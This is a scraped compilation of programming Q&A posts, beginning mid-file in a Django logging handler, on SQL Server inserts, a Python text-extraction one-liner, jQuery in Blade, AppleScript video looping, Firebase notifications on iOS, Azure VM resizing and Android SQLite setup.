            'method': record.funcName,
            'level': record.levelname,
            'line': record.lineno,
            'module': record.module,
            'message': record.getMessage(),
            'path': record.pathname,
        }

    def emit(self, record):
        user_id = None
        try:
            self.request = record.request
            if self.request.user.is_authenticated():
                user_id = self.request.user.id
        except:
            print "this must not be a django.request message"
            self.request = None

        from .event import SendEvent
        json_record = self.parse_record_to_json(record)
        level = json_record.pop('level', None)

        SendEvent(key="server_log",
                    name=level,
                    request=self.request,
                    obj=json_record,
                    user=user_id)

-----settings.py-----

LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'standard': {
            'format': '%(levelname)s  %(name)s  %(asctime)s %(filename)s:%(lineno)s] %(message)s',
        },
    },
    'handlers': {
        'console': {
            'class': 'logging.StreamHandler',
            'formatter': 'standard',
        },
        'null': {
            'level': 'DEBUG',
            'class': 'django.utils.log.NullHandler',
        },
        'splunk':{
            'class':'proj.common.handlers.LogHandler',

        }
    },
    # 'root': {
    #     'handlers': ['console', 'loghandler',],
    #     'level': 'INFO',
    #     'formatter':'standard',
    # },
    'loggers': {
        'django':{
            'handlers':['console'],
            'level':'INFO',
            'formatter':'standard',
        },
        'py.warnings':{
            'handlers': ['null',],
            'propagate': False,
        },
        'django.request':{
            'handlers':['console','loghandler'],
            'propogate':False,
        },
    }
}


问:
Insert and select data in sql server
I want to insert data from table sp_test with two columns; (empid and amount) into another table sp_emp (regisno,empid,itemid,year,month,week,amount,paymentdate).

This is the query I used

```<code>Insert into sp_emp(regisno,empid,itemid,year,month,week,amount,paymentdate)
Select * from sp_test
</code>```

and it returned as select list for insert statement has fewer items. How should I put the values for another column?

答:
You have insert only specific fields which value you have get.

Insert into sp_emp(empid,amount)
 Select empid,amount from sp_test

Title: Insert and select data in sql server

Body:
I want to insert data from table sp_test with two columns; (empid and amount) into another table sp_emp (regisno,empid,itemid,year,month,week,amount,paymentdate).

This is the query I used

Insert into sp_emp(regisno,empid,itemid,year,month,week,amount,paymentdate)
Select * from sp_test

and it returned as select list for insert statement has fewer items. How should I put the values for another column?


问:
How to extract data from a file
Hey everyone, I have a file with info like the below. I want to extract the numbers out of the records. Can some one give me an awk or a sed oneliner if possible? Maybe out put to a file? This would really help me out. I am on ubuntu so I have linux utilities.

Thanks a lot.

```<code><product_id>101747</product_id>
<product_id>2847549</product_id>
<product_id>149833</product_id>
<product_id>123380</product_id>
<product_id>66334</product_id>
<product_id>66475</product_id>
<product_id>123387</product_id>
<product_id>6266040</product_id>
<product_id>3480755</product_id>
<product_id>6529572</product_id>
<product_id>22852</product_id>
</code>```

答:
Python oneliner:

```<code>python -c "import re;print('\n'.join(re.findall('([0-9]+)',open('infile.txt').read())))" > outfile.txt
</code>```

Change infile.txt and outfile.txt.

Example output:

```<code>101747
2847549
149833
123380
66334
66475
123387
6266040
3480755
6529572
22852
</code>```

Title: How to extract data from a file

Body:
Hey everyone, I have a file with info like the below. I want to extract the numbers out of the records. Can some one give me an awk or a sed oneliner if possible? Maybe out put to a file? This would really help me out. I am on ubuntu so I have linux utilities.

Thanks a lot.

<product_id>101747</product_id>
<product_id>2847549</product_id>
<product_id>149833</product_id>
<product_id>123380</product_id>
<product_id>66334</product_id>
<product_id>66475</product_id>
<product_id>123387</product_id>
<product_id>6266040</product_id>
<product_id>3480755</product_id>
<product_id>6529572</product_id>
<product_id>22852</product_id>

Body:
Python oneliner:

python -c "import re;print('\n'.join(re.findall('([0-9]+)',open('infile.txt').read())))" > outfile.txt

Change infile.txt and outfile.txt.

Example output:

101747
2847549
149833
123380
66334
66475
123387
6266040
3480755
6529572
22852


问:
JQuery how to pass data to click without onclick?
I have problem to pass data to function from blade template to click. I don;t want to use onclik. I have a global variable passed to my blade tempate like : oreder and after blick on button I need to pass this data. HEre is my code:

```<code> <button class="btn" id="someButton">Some text</button>
</code>```

And here jQuery :

```<code>$(document).ready(function () {

$('#someButton').on('click', function (here I need to pass global data from blade like : order->id etc) {});
})
</code>```

Is there a possibility to do this?

答:
If the variable you want to pass is global and applies go the whole page I would place it in a hidden input tag. Then retrieve the value when needed.

```<code><input name=“globalValue” value=“{{ $value }}” type=“hidden”></input>
...
$(‘#someButton’).click(function(e) {
    var globalValue = $(‘input[name=“globalValue”’).val();
}
</code>```

If the value is specific to the button then place it a data- attribute on the button.

```<code><button id=“someButton” data-value=“{{ $value }}”>Some Button</button>
...
$(‘#someButton’).click(function(e) {
    var buttonValue = $(‘#someButton’).data(‘value’);
}
</code>```

Body:
I have problem to pass data to function from blade template to click. I don;t want to use onclik. I have a global variable passed to my blade tempate like : oreder and after blick on button I need to pass this data. HEre is my code:

 <button class="btn" id="someButton">Some text</button>

And here jQuery :

$(document).ready(function () {

$('#someButton').on('click', function (here I need to pass global data from blade like : order->id etc) {});
})

Is there a possibility to do this?

Body:
If the variable you want to pass is global and applies go the whole page I would place it in a hidden input tag. Then retrieve the value when needed.

<input name=“globalValue” value=“{{ $value }}” type=“hidden”></input>
...
$(‘#someButton’).click(function(e) {
    var globalValue = $(‘input[name=“globalValue”’).val();
}

If the value is specific to the button then place it a data- attribute on the button.

<button id=“someButton” data-value=“{{ $value }}”>Some Button</button>
...
$(‘#someButton’).click(function(e) {
    var buttonValue = $(‘#someButton’).data(‘value’);
}


问:
Removing AndroidTest and test from a android source
I have a simple andorid studio project, By default it shows package for my project and 2 extra packages for (androidTest) and (test). I want to remove them safely.</p>

答: You can go in project location and find directory app>src>android test/main. There you can delete your android test module.</p>


问:
AppleScript to launch and loop a video?
I need to write an AppleScript so that it will open QuickTime Player, play the movie from the specific file, and set it to loop in full screen. Help please I am a noob at writing AppleScripts.

This is what I have so far but it does not seem to work. :(

```<code>tell application "QuickTime Player"
   open file "Macintosh HDN:Users:lalayana:Downloads:TV Master Keynote.m4v"
   set the looping of movie 1 to true
   play movie 1
end tell
</code>```

答:
I just had this problem and the solution above did not work for my apple computer, so I modified the script to get it to work. I wanted to the script to launch on boot, which I accomplished by going to System Preferences -> Users -> Login Items.</p>

```<code>tell application "QuickTime Player"
    set theMovie to open file "Users:danielmcclane:Downloads:startvideo.mov"
    tell theMovie
        set the looping of theMovie to true
        set the present of theMovie to true
        play
    end tell
end tell
</code>```

Title: AppleScript to launch and loop a video?

Body:
I need to write an AppleScript so that it will open QuickTime Player, play the movie from the specific file, and set it to loop in full screen. Help please I am a noob at writing AppleScripts.

This is what I have so far but it does not seem to work. :(

tell application "QuickTime Player"
   open file "Macintosh HDN:Users:lalayana:Downloads:TV Master Keynote.m4v"
   set the looping of movie 1 to true
   play movie 1
end tell

Body:
I just had this problem and the solution above did not work for my apple computer, so I modified the script to get it to work. I wanted to the script to launch on boot, which I accomplished by going to System Preferences -> Users -> Login Items.

tell application "QuickTime Player"
    set theMovie to open file "Users:danielmcclane:Downloads:startvideo.mov"
    tell theMovie
        set the looping of theMovie to true
        set the present of theMovie to true
        play
    end tell
end tell


问:
Couldn't receive remote notifications from server in IOS 11, swift 4?
We are implementing server side remote notifications for device to device in IOS 11.
For that first we created IOS app on Firebase, and configured cloud messaging details. Everything is done there and then. Now from there legacy server key is used at our own server, where we wrote scripts for sending remote notifications to different devices according to their Firebase token.

Notifications generation and disposal is successful in both the cases either trying is from Postman, or through programmatically from IOS device. We have tried our server both locally and on cloud.

When we send normal messages from Firebase console, it also works fine and we did receive remote notifications from there.

Every time we send notifications via server to Firebase and then to device with the help of APNs, we couldn't receive that remote notification.

Our App delegate looks like this.

```<code>class AppDelegate: UIResponder, UIApplicationDelegate {

var window: UIWindow?
let gcmMessageIDKey = "gcm.message_id"

func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
    // Override point for customization after application launch.
    print("Application did finish launching")
    FirebaseApp.configure()

    // [END set_messaging_delegate]
    // Register for remote notifications. This shows a permission dialog on first run, to
    // show the dialog at a more appropriate time move this registration accordingly.
    // [START register_for_notifications]
    if #available(iOS 10.0, *) {
        // For iOS 10 display notification (sent via APNS)
        UNUserNotificationCenter.current().delegate = self

        let authOptions: UNAuthorizationOptions = [.alert, .badge, .sound]
        UNUserNotificationCenter.current().requestAuthorization(
            options: authOptions,
            completionHandler: {_, _ in })

        // [START set_messaging_delegate]
        Messaging.messaging().delegate = self

    } else {
        let settings: UIUserNotificationSettings =
            UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil)
        application.registerUserNotificationSettings(settings)
    }

    application.registerForRemoteNotifications()

    // [END register_for_notifications]

    return true
}

// Remote Notification
// [START receive_message]
func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable: Any]) {
    // If you are receiving a notification message while your app is in the background,
    // this callback will not be fired till the user taps on the notification launching the application.
    // TODO: Handle data of notification
    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)
}

func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable: Any],

    fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) {
    // If you are receiving a notification message while your app is in the background,
    // this callback will not be fired till the user taps on the notification launching the application.
    // TODO: Handle data of notification
    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)
    print("Received Remote Message: 4\nCheck Out:\n")
    print("Main Remote Message: 4\nCheck Out:\n")

    completionHandler(UIBackgroundFetchResult.newData)
}

// [END receive_message]
func application(_ application: UIApplication, didFailToRegisterForRemoteNotificationsWithError error: Error) {
    print("Unable to register for remote notifications: \(error.localizedDescription)")
}

// This function is added here only for debugging purposes, and can be removed if swizzling is enabled.
// If swizzling is disabled then this function must be implemented so that the APNs token can be paired to
// the FCM registration token.
func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) {
    print("APNs token retrieved: \(deviceToken)")
    Messaging.messaging().apnsToken = deviceToken

    print("Token is here   \(String(describing: Messaging.messaging().fcmToken))")
    print("Token is here   \(String(describing: Messaging.messaging().apnsToken))")

    if UserDefaults.standard.object(forKey: "FCM_Token") == nil
    {
        UserDefaults.standard.set(Messaging.messaging().fcmToken, forKey: "FCM_Token")
    }
    else
    {
        let fcmSavedToken = UserDefaults.standard.value(forKey: "FCM_Token") as! String
        if fcmSavedToken == Messaging.messaging().fcmToken
        {

        }
        else
        {
            UserDefaults.standard.set(Messaging.messaging().fcmToken, forKey: "FCM_Token")
        }

    }

    // With swizzling disabled you must set the APNs token here.
    // Messaging.messaging().apnsToken = deviceToken
  }

// End Remote Notification

func applicationWillResignActive(_ application: UIApplication) {
    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
}

func applicationDidEnterBackground(_ application: UIApplication) {
    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}

func applicationWillEnterForeground(_ application: UIApplication) {
    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
}

func applicationDidBecomeActive(_ application: UIApplication) {
    // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}

func applicationWillTerminate(_ application: UIApplication) {
    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
    // Saves changes in the application's managed object context before the application terminates.
    self.saveContext()
}

// MARK: - Core Data stack

lazy var persistentContainer: NSPersistentContainer = {
    /*
     The persistent container for the application. This implementation
     creates and returns a container, having loaded the store for the
     application to it. This property is optional since there are legitimate
     error conditions that could cause the creation of the store to fail.
    */
    let container = NSPersistentContainer(name: "Git_Tutorial")
    container.loadPersistentStores(completionHandler: { (storeDescription, error) in
        if let error = error as NSError? {
            // Replace this implementation with code to handle the error appropriately.
            // fatalError() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development.

            /*
             Typical reasons for an error here include:
             * The parent directory does not exist, cannot be created, or disallows writing.
             * The persistent store is not accessible, due to permissions or data protection when the device is locked.
             * The device is out of space.
             * The store could not be migrated to the current model version.
             Check the error message to determine what the actual problem was.
             */
            fatalError("Unresolved error \(error), \(error.userInfo)")
        }
    })
    return container
}()

// MARK: - Core Data Saving support

func saveContext () {
    let context = persistentContainer.viewContext
    if context.hasChanges {
        do {
            try context.save()
        } catch {
            // Replace this implementation with code to handle the error appropriately.
            // fatalError() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development.
            let nserror = error as NSError
            fatalError("Unresolved error \(nserror), \(nserror.userInfo)")
        }
    }
}

   }

   // Messaging
   // Firebase
   // Workout
   // [START ios_10_message_handling]
   @available(iOS 10, *)
  extension AppDelegate : UNUserNotificationCenterDelegate {

// Receive displayed notifications for iOS 10 devices.
func userNotificationCenter(_ center: UNUserNotificationCenter,
                            willPresent notification: UNNotification,
                            withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
    let userInfo = notification.request.content.userInfo

    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)

    // Change this to your preferred presentation option
    completionHandler([.alert, .badge, .sound])
}

func userNotificationCenter(_ center: UNUserNotificationCenter,
                            didReceive response: UNNotificationResponse,
                            withCompletionHandler completionHandler: @escaping () -> Void) {
    let userInfo = response.notification.request.content.userInfo
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)

    completionHandler()
}

   }
  // [END ios_10_message_handling]

extension AppDelegate : MessagingDelegate {
// [START refresh_token]
func messaging(_ messaging: Messaging, didRefreshRegistrationToken fcmToken: String) {
    print("Firebase registration token: \(fcmToken)")
    print("Received Remote Message: 1\nCheck Out:\n")

}
// [END refresh_token]
// [START ios_10_data_message]
// Receive data messages on iOS 10+ directly from FCM (bypassing APNs) when the app is in the foreground.
// To enable direct data messages, you can set Messaging.messaging().shouldEstablishDirectChannel to true.
func messaging(_ messaging: Messaging, didReceive remoteMessage: MessagingRemoteMessage) {
    print("Received data message: \(remoteMessage.appData)")
    print("Received Remote Message: 2\nCheck Out:\n")
}

// Receive data message on iOS 10 devices while app is in the foreground.
func application(received remoteMessage: MessagingRemoteMessage) {
    print("Received Remote Message: 3\nCheck In:\n")
    debugPrint(remoteMessage.appData)
    print("Received Remote Message: 3\nCheck Out:\n")

 }
   // [END ios_10_data_message]
}
</code>```

答:
// MARK: UNUserNotificationCenter Delegate // >= iOS 10</p>

```<code>@available(iOS 10.0, *)
func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
    print("User Info = ",notification.request.content.userInfo)
    completionHandler([.alert, .badge, .sound])
}

@available(iOS 10.0, *)
func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {
    print("User Info = ",response.notification.request.content.userInfo)
    completionHandler()
}

// MARK: Class Methods
func registerForRemoteNotification() {
    if #available(iOS 10.0, *) {
        let center  = UNUserNotificationCenter.current()
        center.delegate = self
        center.requestAuthorization(options: [.sound, .alert, .badge]) { (granted, error) in
            if error == nil{
                UIApplication.shared.registerForRemoteNotifications()
            }
        }
    }
    else {
        UIApplication.shared.registerUserNotificationSettings(UIUserNotificationSettings(types: [.sound, .alert, .badge], categories: nil))
        UIApplication.shared.registerForRemoteNotifications()
    }
}
</code>```

Body:
We are implementing server side remote notifications for device to device in IOS 11.
For that first we created IOS app on Firebase, and configured cloud messaging details. Everything is done there and then. Now from there legacy server key is used at our own server, where we wrote scripts for sending remote notifications to different devices according to their Firebase token.

Notifications generation and disposal is successful in both the cases either trying is from Postman, or through programmatically from IOS device. We have tried our server both locally and on cloud.

When we send normal messages from Firebase console, it also works fine and we did receive remote notifications from there.

Every time we send notifications via server to Firebase and then to device with the help of APNs, we couldn't receive that remote notification.

Our App delegate looks like this.

class AppDelegate: UIResponder, UIApplicationDelegate {

var window: UIWindow?
let gcmMessageIDKey = "gcm.message_id"

func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
    // Override point for customization after application launch.
    print("Application did finish launching")
    FirebaseApp.configure()

    // [END set_messaging_delegate]
    // Register for remote notifications. This shows a permission dialog on first run, to
    // show the dialog at a more appropriate time move this registration accordingly.
    // [START register_for_notifications]
    if #available(iOS 10.0, *) {
        // For iOS 10 display notification (sent via APNS)
        UNUserNotificationCenter.current().delegate = self

        let authOptions: UNAuthorizationOptions = [.alert, .badge, .sound]
        UNUserNotificationCenter.current().requestAuthorization(
            options: authOptions,
            completionHandler: {_, _ in })

        // [START set_messaging_delegate]
        Messaging.messaging().delegate = self

    } else {
        let settings: UIUserNotificationSettings =
            UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil)
        application.registerUserNotificationSettings(settings)
    }

    application.registerForRemoteNotifications()

    // [END register_for_notifications]

    return true
}

// Remote Notification
// [START receive_message]
func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable: Any]) {
    // If you are receiving a notification message while your app is in the background,
    // this callback will not be fired till the user taps on the notification launching the application.
    // TODO: Handle data of notification
    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)
}

func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable: Any],

    fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) {
    // If you are receiving a notification message while your app is in the background,
    // this callback will not be fired till the user taps on the notification launching the application.
    // TODO: Handle data of notification
    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)
    print("Received Remote Message: 4\nCheck Out:\n")
    print("Main Remote Message: 4\nCheck Out:\n")

    completionHandler(UIBackgroundFetchResult.newData)
}

// [END receive_message]
func application(_ application: UIApplication, didFailToRegisterForRemoteNotificationsWithError error: Error) {
    print("Unable to register for remote notifications: \(error.localizedDescription)")
}

// This function is added here only for debugging purposes, and can be removed if swizzling is enabled.
// If swizzling is disabled then this function must be implemented so that the APNs token can be paired to
// the FCM registration token.
func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) {
    print("APNs token retrieved: \(deviceToken)")
    Messaging.messaging().apnsToken = deviceToken

    print("Token is here   \(String(describing: Messaging.messaging().fcmToken))")
    print("Token is here   \(String(describing: Messaging.messaging().apnsToken))")

    if UserDefaults.standard.object(forKey: "FCM_Token") == nil
    {
        UserDefaults.standard.set(Messaging.messaging().fcmToken, forKey: "FCM_Token")
    }
    else
    {
        let fcmSavedToken = UserDefaults.standard.value(forKey: "FCM_Token") as! String
        if fcmSavedToken == Messaging.messaging().fcmToken
        {

        }
        else
        {
            UserDefaults.standard.set(Messaging.messaging().fcmToken, forKey: "FCM_Token")
        }

    }

    // With swizzling disabled you must set the APNs token here.
    // Messaging.messaging().apnsToken = deviceToken
  }

// End Remote Notification

func applicationWillResignActive(_ application: UIApplication) {
    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
}

func applicationDidEnterBackground(_ application: UIApplication) {
    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}

func applicationWillEnterForeground(_ application: UIApplication) {
    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
}

func applicationDidBecomeActive(_ application: UIApplication) {
    // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}

func applicationWillTerminate(_ application: UIApplication) {
    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
    // Saves changes in the application's managed object context before the application terminates.
    self.saveContext()
}

// MARK: - Core Data stack

lazy var persistentContainer: NSPersistentContainer = {
    /*
     The persistent container for the application. This implementation
     creates and returns a container, having loaded the store for the
     application to it. This property is optional since there are legitimate
     error conditions that could cause the creation of the store to fail.
    */
    let container = NSPersistentContainer(name: "Git_Tutorial")
    container.loadPersistentStores(completionHandler: { (storeDescription, error) in
        if let error = error as NSError? {
            // Replace this implementation with code to handle the error appropriately.
            // fatalError() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development.

            /*
             Typical reasons for an error here include:
             * The parent directory does not exist, cannot be created, or disallows writing.
             * The persistent store is not accessible, due to permissions or data protection when the device is locked.
             * The device is out of space.
             * The store could not be migrated to the current model version.
             Check the error message to determine what the actual problem was.
             */
            fatalError("Unresolved error \(error), \(error.userInfo)")
        }
    })
    return container
}()

// MARK: - Core Data Saving support

func saveContext () {
    let context = persistentContainer.viewContext
    if context.hasChanges {
        do {
            try context.save()
        } catch {
            // Replace this implementation with code to handle the error appropriately.
            // fatalError() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development.
            let nserror = error as NSError
            fatalError("Unresolved error \(nserror), \(nserror.userInfo)")
        }
    }
}

   }

   // Messaging
   // Firebase
   // Workout
   // [START ios_10_message_handling]
   @available(iOS 10, *)
  extension AppDelegate : UNUserNotificationCenterDelegate {

// Receive displayed notifications for iOS 10 devices.
func userNotificationCenter(_ center: UNUserNotificationCenter,
                            willPresent notification: UNNotification,
                            withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
    let userInfo = notification.request.content.userInfo

    // With swizzling disabled you must let Messaging know about the message, for Analytics
    // Messaging.messaging().appDidReceiveMessage(userInfo)
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)

    // Change this to your preferred presentation option
    completionHandler([.alert, .badge, .sound])
}

func userNotificationCenter(_ center: UNUserNotificationCenter,
                            didReceive response: UNNotificationResponse,
                            withCompletionHandler completionHandler: @escaping () -> Void) {
    let userInfo = response.notification.request.content.userInfo
    // Print message ID.
    if let messageID = userInfo[gcmMessageIDKey] {
        print("Message ID: \(messageID)")
    }

    // Print full message.
    print(userInfo)

    completionHandler()
}

   }
  // [END ios_10_message_handling]

extension AppDelegate : MessagingDelegate {
// [START refresh_token]
func messaging(_ messaging: Messaging, didRefreshRegistrationToken fcmToken: String) {
    print("Firebase registration token: \(fcmToken)")
    print("Received Remote Message: 1\nCheck Out:\n")

}
// [END refresh_token]
// [START ios_10_data_message]
// Receive data messages on iOS 10+ directly from FCM (bypassing APNs) when the app is in the foreground.
// To enable direct data messages, you can set Messaging.messaging().shouldEstablishDirectChannel to true.
func messaging(_ messaging: Messaging, didReceive remoteMessage: MessagingRemoteMessage) {
    print("Received data message: \(remoteMessage.appData)")
    print("Received Remote Message: 2\nCheck Out:\n")
}

// Receive data message on iOS 10 devices while app is in the foreground.
func application(received remoteMessage: MessagingRemoteMessage) {
    print("Received Remote Message: 3\nCheck In:\n")
    debugPrint(remoteMessage.appData)
    print("Received Remote Message: 3\nCheck Out:\n")

 }
   // [END ios_10_data_message]
}

Body:
// MARK: UNUserNotificationCenter Delegate // >= iOS 10

@available(iOS 10.0, *)
func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
    print("User Info = ",notification.request.content.userInfo)
    completionHandler([.alert, .badge, .sound])
}

@available(iOS 10.0, *)
func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {
    print("User Info = ",response.notification.request.content.userInfo)
    completionHandler()
}

// MARK: Class Methods
func registerForRemoteNotification() {
    if #available(iOS 10.0, *) {
        let center  = UNUserNotificationCenter.current()
        center.delegate = self
        center.requestAuthorization(options: [.sound, .alert, .badge]) { (granted, error) in
            if error == nil{
                UIApplication.shared.registerForRemoteNotifications()
            }
        }
    }
    else {
        UIApplication.shared.registerUserNotificationSettings(UIUserNotificationSettings(types: [.sound, .alert, .badge], categories: nil))
        UIApplication.shared.registerForRemoteNotifications()
    }
}


问:
hit java.lang.NoClassDefFoundError after upgrade Android studio 3.0
Hit java.lang.NoClassDefFoundError after upgrade Android studio 3.0.

Already implemented Multidex, this issue only happened on Android 5.0 device.

答:
I just had this issue few days ago.
I had to disable instant run to fix this problem.
hopefully next update will resolve this issue. </p>


问:
Azure Container Service Kubernetes: How to Change VM Size?
I would like to change the VM size of agents. I can't seem to do that from the CLI or by adjusting the Container Service. How can I change the size of the agents?</p>

答:
How can I change the size of the agents?

We can change k8s agent via Azure portal, the agent in Azure is a VM, we should resize the VM :


问:
When to choose Javascript injection from code-behind over external js file
I'm working on a C# web app and I've to handle some javascript code.

I can do it both using javascript injection from my .cs file, which I'm doing now or choose to include my code into an external js file.

I would like to know when you would prefer to choose one way over the other.

According to me, it can be more clear to put code in external .js file and it can ease debugging.
Code injection from code-behind would however keep together all the necessary code for my component.

Can I please have your ideas ?

Thanks.

Pat.

答:
Question #1: Do you need to dynamically generate JS?

Yes - inject from codebehind
No - external file

Question #2: Is the usage in a user control that may be used in several projects?

Yes - MAYBE inject, more likely either markup or an external file with a known relative path or a shared absolute path.
No - definitely external code.

If the dynamic generation is basically dynamically generating identifiers or numbers in the code, you can inline some ASP tags to get the job done in the markup. In short, dynamic JS should happen when you need it to happen because you can't do it any other way. Making sure dynamic JS works is a two-layer process; make sure the ASP.NET code creates the JS you expect, then make sure the JS you expect actually works as you expect.


问:
Android Studio - SQL database/table not creating - app won't open
Working on creating a SQL database in Android Studio, however, the app won't open on the emulator and no database file is found at /data/data/package/databases/ when using the device monitor.

I'm working on api_21 emulator which I believe should support sqlite. Eventually I'll be using the database information to perform various function with the buttons, but as of right now, those are ignored.

please help!

MainActivity.java

```<code>package edu.tamu.thecaddyapp;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {

Button buttonDriver, buttonFouriron, buttonFiveiron, buttonSixiron, buttonSeveniron, buttonEightiron, buttonNineiron, buttonPW, buttonFiftysix, buttonSW, buttonSixty;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    SQLiteHelper db = new SQLiteHelper(this);
    db.getWritableDatabase();

    buttonDriver = findViewById(R.id.button_DRIVER);
    buttonFouriron = findViewById(R.id.button_4IRON);
    buttonFiveiron = findViewById(R.id.button_5IRON);
    buttonSixiron = findViewById(R.id.button_6IRON);
    buttonSeveniron = findViewById(R.id.button_7IRON);
    buttonEightiron = findViewById(R.id.button_8IRON);
    buttonNineiron = findViewById(R.id.button_9IRON);
    buttonPW = findViewById(R.id.button_PW);
    buttonSW = findViewById(R.id.button_SW);
    buttonFiftysix = findViewById(R.id.button_56DEG);
    buttonSixty = findViewById(R.id.button_60DEG);

}

public void buttonDriver(View view) {
}

public void buttonFouriron(View view) {
}

public void buttonFiveiron(View view) {
}

public void buttonSixiron(View view) {
}

public void buttonSeveniron(View view) {
}

public void buttonEightiron(View view) {
}

public void buttonNineiron(View view) {
}

public void buttonPW(View view) {
}

public void buttonSW(View view) {
}

public void buttonFiftysix(View view) {
}

public void buttonSixty(View view) {
}

}
</code>```

SQLiteHelper.java

```<code>package edu.tamu.thecaddyapp;

import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import android.util.Log;

public class SQLiteHelper extends SQLiteOpenHelper {

private static final int DATABASE_VERSION = 1;
public static final String DATABASE_NAME = "SQLiteDatabase.db";
public static final String TABLE_NAME = "golf_averages";
public static final String _id = "_id";
public static final String COL_1 = "COL_1";
public static final String COL_2 = "COL_2";
public static final String COL_3 = "COL_3";
public static final String COL_4 = "COL_4";
public static final String COL_5 = "COL_5";
public static final String COL_6 = "COL_6";
public static final String COL_7 = "COL_7";
public static final String COL_8 = "COL_8";
public static final String COL_9 = "COL_9";
public static final String COL_10 = "COL_10";

public String create_table = "CREATE TABLE" + TABLE_NAME
        + " (_id integer primary key autoincrement, "
        + COL_1 + "text, "
        + COL_2 + "text, "
        + COL_3 + "text, "
        + COL_4 + "text, "
        + COL_5 + "text, "
        + COL_6 + "text, "
        + COL_7 + "text, "
        + COL_8 + "text, "
        + COL_9 + "text, "
        + COL_10 + "text" +")";

public SQLiteHelper(Context context) {
    super(context, DATABASE_NAME, null, DATABASE_VERSION);
    Log.d("SQLiteHelper", "Context Reached");
}

@Override
public void onCreate(SQLiteDatabase sqLiteDatabase) {
    sqLiteDatabase.execSQL(create_table);
    Log.d("onCreate", "onCreate reached");
}

@Override
public void onUpgrade(SQLiteDatabase sqLiteDatabase, int i, int i1) {
